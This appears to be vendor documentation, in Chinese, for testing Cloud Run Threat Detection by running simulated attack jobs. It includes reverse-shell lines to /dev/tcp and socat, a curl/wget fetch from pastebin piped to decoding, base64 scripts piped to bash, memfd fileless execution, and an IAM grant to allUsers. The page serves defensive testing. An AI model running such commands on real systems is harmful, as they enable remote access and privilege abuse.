本頁說明如何刻意觸發偵測器並檢查結果,確認 Cloud Run Threat Detection 正常運作。Cloud Run Threat Detection 是 Security Command Center 的內建服務。
事前準備
如要偵測 Cloud Run 服務和作業的潛在威脅,請確保在 Security Command Center 中啟用 Cloud Run Threat Detection 服務。部分偵測器預設為停用。如要測試這些偵測器,請先啟用。
設定環境變數
如要測試偵測器,請使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中設定環境變數,方便執行指令。您將使用這些變數測試所有偵測器。
選取含有要用於測試的 Cloud Run 工作的專案。
按一下「啟用 Cloud Shell」
。
在 Cloud Shell 中設定環境變數:
設定要建立測試工作的專案和區域。
export PROJECT=PROJECT_ID export REGION=REGION
設定環境變數後,請繼續按照偵測器測試的指示操作。
惡意中繼站:偵測到隱寫術工具
如要觸發 Command and Control: Steganography Tool Detected (預覽) 發現項目,請在容器中執行二進位檔,並使用與隱寫術工具一致的檔案操作功能。這個範例會複製 /bin/ls,並重新命名為 steghide。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會產生 Command and Control: Steganography Tool
Detected 發現項目。
憑證存取:尋找 Google Cloud 憑證
如要觸發 Credential Access: Find Google Cloud Credentials 發現項目,請執行可在容器內搜尋檔案內容的二進位檔。這個範例會複製 /bin/ls、重新命名為 grep,並使用可疑引數執行。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立Credential Access: Find Google Cloud Credentials發現項目。
憑證存取權:偵察 GPG 金鑰
如要觸發 Credential Access: GPG Key Reconnaissance 發現項目,請使用可疑引數執行搜尋工具。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立Credential Access: GPG Key Reconnaissance發現項目。
憑證存取權:搜尋私密金鑰或密碼
如要觸發 Credential Access: Search Private Keys or Passwords 發現項目,請使用可疑引數執行搜尋工具。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會產生 Credential Access: Search Private Keys or
Passwords 發現項目。
規避防禦機制:Base64 ELF 檔案指令列
如要觸發 Defense Evasion: Base64 ELF File Command Line 發現項目,請執行 base64,並使用編碼的 ELF 標頭引數。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序應會建立兩項 Defense Evasion: Base64 ELF File Command Line 發現項目。
規避防禦措施:執行 Base64 編碼的 Python 指令碼
如要觸發 Defense Evasion: Base64 Encoded Python Script Executed 發現項目,請使用編碼的 Python 指令執行 echo。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立Defense Evasion: Base64 Encoded Python Script Executed發現項目。
規避防禦機制:執行 Base64 編碼的殼層指令碼
如要觸發 Defense Evasion: Base64 Encoded Shell Script Executed 發現項目,請使用編碼的殼層指令執行 echo。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立Defense Evasion: Base64 Encoded Shell Script Executed發現項目。
規避防禦機制:在容器中啟動程式碼編譯器工具
如要觸發 Defense Evasion: Launch Code Compiler Tool In Container
(預覽版) 發現項目,請執行編譯器工具。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會產生 Defense Evasion: Launch Code Compiler Tool
In Container 發現項目。
執行:已執行新增的惡意二進位檔
如要觸發「已執行新增的惡意二進位檔」發現項目,請將惡意二進位檔 (EICAR) 新增至容器並執行。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立「已執行新增的惡意二進位檔」執行作業發現項目。
執行:已載入新增的惡意資料庫
如要觸發「已載入新增的惡意資料庫」發現項目,請在容器中新增惡意資料庫並載入。這個範例會使用模擬的惡意程式庫更新 /tmp/test_mal_lib 檔案,然後使用 mmap 載入該檔案。由於檔案不在原始容器映像檔中,且程式庫是 EICAR 測試檔案,威脅情報會將其歸類為惡意檔案,因此現有檔案的程式庫載入作業會發生非預期情況。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立「執行作業:已載入惡意程式庫」的發現項目。
執行:容器跳脫
如要觸發「執行:容器跳脫」發現項目,請執行模擬容器跳脫行為的工具。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立「執行作業:容器跳脫」發現項目。
執行:/memfd: 中的無檔案執行作業
如要觸發 Execution: Fileless Execution in /memfd: 發現項目,請使用 Python 從 /memfd: 記憶體內檔案系統執行程序。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image python:latest \
--command=bash \
--args="-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Execution: Fileless Execution in /memfd: 發現項目。
執行:Kubernetes 攻擊工具執行作業
如要觸發「執行作業:Kubernetes 攻擊工具執行作業」發現項目,請執行與已知攻擊工具相符的程式。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立「執行作業:Kubernetes 攻擊工具執行作業」發現項目。
執行作業:本機偵查工具執行作業
如要觸發 Execution: Local Reconnaissance Tool Execution 發現項目,請執行與偵察工具相符的程式。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立「Execution: Local Reconnaissance Tool」執行作業發現項目。
執行:已執行修改過的惡意二進位檔
如要觸發「已執行修改過的惡意二進位檔」發現結果,請修改二進位檔,使其符合已知的惡意簽章 (EICAR)。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立「已執行修改過的惡意二進位檔」的發現項目。
執行:已載入修改過的惡意資料庫
如要觸發「已載入修改過的惡意資料庫」執行項目,請在容器中修改現有檔案,加入惡意程式庫並載入。這個範例會使用模擬的惡意程式庫更新 /etc/issue 檔案,然後使用 mmap 載入該檔案。由於程式庫是 EICAR 測試檔案,威脅情報會將其歸類為惡意檔案,因此系統不應載入現有檔案。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
int fd = open(argv[1], O_RDONLY);
if (fd == -1) return 1;
struct stat sb;
if (fstat(fd, &sb) == -1) return 1;
void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
if (addr == MAP_FAILED) return 1;
write(1, addr, sb.st_size);
munmap(addr, sb.st_size);
close(fd);
return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立「執行作業:已載入修改過的惡意資料庫」的發現項目。
執行作業:容器中的 Netcat 遠端程式碼執行作業
如要觸發 Execution: Netcat Remote Code Execution In Container 事件,請使用可疑引數執行 netcat。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Execution: Netcat Remote Code Execution In
Container 發現項目。
執行:可能透過 CUPS 執行任意指令 (CVE-2024-47076)
如要觸發Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076)
發現項目,請執行模擬攻擊的指令碼。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076) 發現項目。
執行作業:偵測到可能的遠端指令執行作業
如要觸發 Execution: Possible Remote Command Execution Detected (預覽版) 發現項目,請執行嘗試遠端連線的指令。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Execution: Possible Remote Command
Execution Detected 發現項目。
執行:在禁止使用 HTTP Proxy 的環境中執行程式
如要觸發 Execution: Program Run with Disallowed HTTP Proxy Env 發現項目,請執行含有錯誤 Proxy 環境變數的程式。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Execution: Program Run with Disallowed
HTTP Proxy Env 發現項目。
執行:偵測到 Socat 反向殼層
如要觸發 Execution: Socat Reverse Shell Detected 發現項目,請使用 socat 公用程式建立反向殼層。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args="-c","sleep 60; apt-get update -qq && apt-get install socat -y -qq && echo $B64_SOCAT | base64 -d | bash" \
--execute-now \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Execution: Socat Reverse Shell Detected 發現項目。
執行:載入了可疑的 OpenSSL 共用物件
如要觸發 Execution: Suspicious OpenSSL Shared Object Loaded 發現項目,請使用可疑程式庫執行 openssl。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Execution: Suspicious OpenSSL Shared Object Loaded 發現項目。
資料外洩:在容器中啟動遠端檔案複製工具
如要觸發Exfiltration: Launch Remote File Copy Tools In Container發現項目,請執行遠端複製工具。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Exfiltration: Launch Remote File Copy Tools
In Container 發現項目。
影響:偵測惡意指令列
如要觸發 Impact: Detect Malicious Cmdlines (預覽版) 發現項目,請執行可疑的指令名稱 (IPFS)。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/ipfs; /tmp/ipfs; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Impact: Detect Malicious Cmdlines 發現項目。
影響:從磁碟移除大量資料
如要觸發 Impact: Remove Bulk Data From Disk 發現項目,請執行 shred 等工具。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-remove-bulk-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/shred; /tmp/shred; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Impact: Remove Bulk Data From Disk 發現項目。
影響:使用 Stratum 通訊協定的可疑加密貨幣挖礦活動
如要觸發 Impact: Suspicious cryptocurrency mining activity using the Stratum
Protocol 發現項目,請執行二進位檔,並使用類似於加密貨幣挖礦軟體的引數,透過 Stratum 通訊協定進行通訊。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-stratum-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/ls /tmp/curl; /tmp/curl --url=stratum+tcp; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Impact: Suspicious cryptocurrency mining activity
using the Stratum Protocol 發現項目。
已執行惡意指令碼
如要觸發「可執行惡意指令碼」發現項目,請執行模擬惡意行為的指令碼。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; sh -c \"(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d\"; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立「已執行惡意指令碼」發現項目。
偵測到惡意網址
如要觸發「偵測到惡意網址」發現項目,請執行二進位檔,並提供惡意網址做為引數。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; apt-get update && apt-get install curl -y && curl https://testsafebrowsing.appspot.com/s/malware.html | cat; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會觸發「偵測到惡意網址」結果。
提權:濫用 Sudo 來提權 (CVE-2019-14287)
如要觸發 Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287) 發現項目,請執行 sudo 執行檔並搭配使用 -u#-1 參數。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-abuse-sudo-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command sh \
--args "-c","sleep 60; cp /bin/ls /tmp/sudo; /tmp/sudo -u#-1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立Privilege Escalation: Abuse of Sudo For Privilege Escalation (CVE-2019-14287)發現項目。
提權:Sudo 存在提權風險 (CVE-2021-3156)
如要觸發 Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156) 發現項目,請執行 sudo 執行檔,並使用 -s 參數和結尾為 `` 的參數。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-sudo-potential-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/sudo; su $(id -un 1000) -c "/tmp/sudo -s \"123\\\\\"" ; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立Privilege Escalation: Sudo Potential Privilege Escalation (CVE-2021-3156)發現項目。
權限提升:Polkit 本機提權安全漏洞 (CVE-2021-4034)
如要觸發 Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034) 發現項目,請以非超級使用者身分執行 pkexec 二進位檔,並將 GCONV_PATH 環境變數設為非超級使用者。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-polkit-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c",'sleep 60; cp /bin/ls /tmp/pkexec; su $(id -un 1000) -c "GCONV_PATH=junk /tmp/pkexec;"; sleep 10' \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立Privilege Escalation: Polkit Local Privilege Escalation Vulnerability (CVE-2021-4034)發現項目。
反向殼層
如要觸發反向殼層發現項目,請啟動二進位檔,並將 stdin 重新導向至 TCP 連線的通訊端。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command bash \
--args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立反向殼層發現項目。
執行:加密貨幣挖礦 Docker 映像檔
如要觸發「執行:加密貨幣挖礦 Docker 映像檔」發現項目,請使用與加密貨幣挖礦軟體相關聯的 Docker 映像檔名稱部署容器。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image docker.io/security-test-DO-NOT-USE/xmrig:latest \
--command sh \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立「執行:加密貨幣挖礦 Docker 映像檔」發現項目。請注意,由於映像檔不存在,工作部署作業會失敗,但系統仍會產生發現項目。
影響:加密貨幣挖礦指令
如要觸發 Impact: Cryptomining Commands 發現項目,請執行含有類似已知加密貨幣挖礦軟體引數的指令。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image marketplace.gcr.io/google/ubuntu2404:latest \
--command xmrig \
--wait || true
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立 Impact: Cryptomining Commands 發現項目。
權限提升:預設 Compute Engine 服務帳戶 SetIAMPolicy
如要觸發Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy發現項目,請執行指令,使用預設的 Compute Engine 服務帳戶設定 Cloud Run 服務的 IAM 政策。
建立及執行 Cloud Run 工作:
JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
--project $PROJECT \
--region $REGION \
--image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
--command gcloud \
--args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
--wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet
這項測試程序會建立Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy發現項目。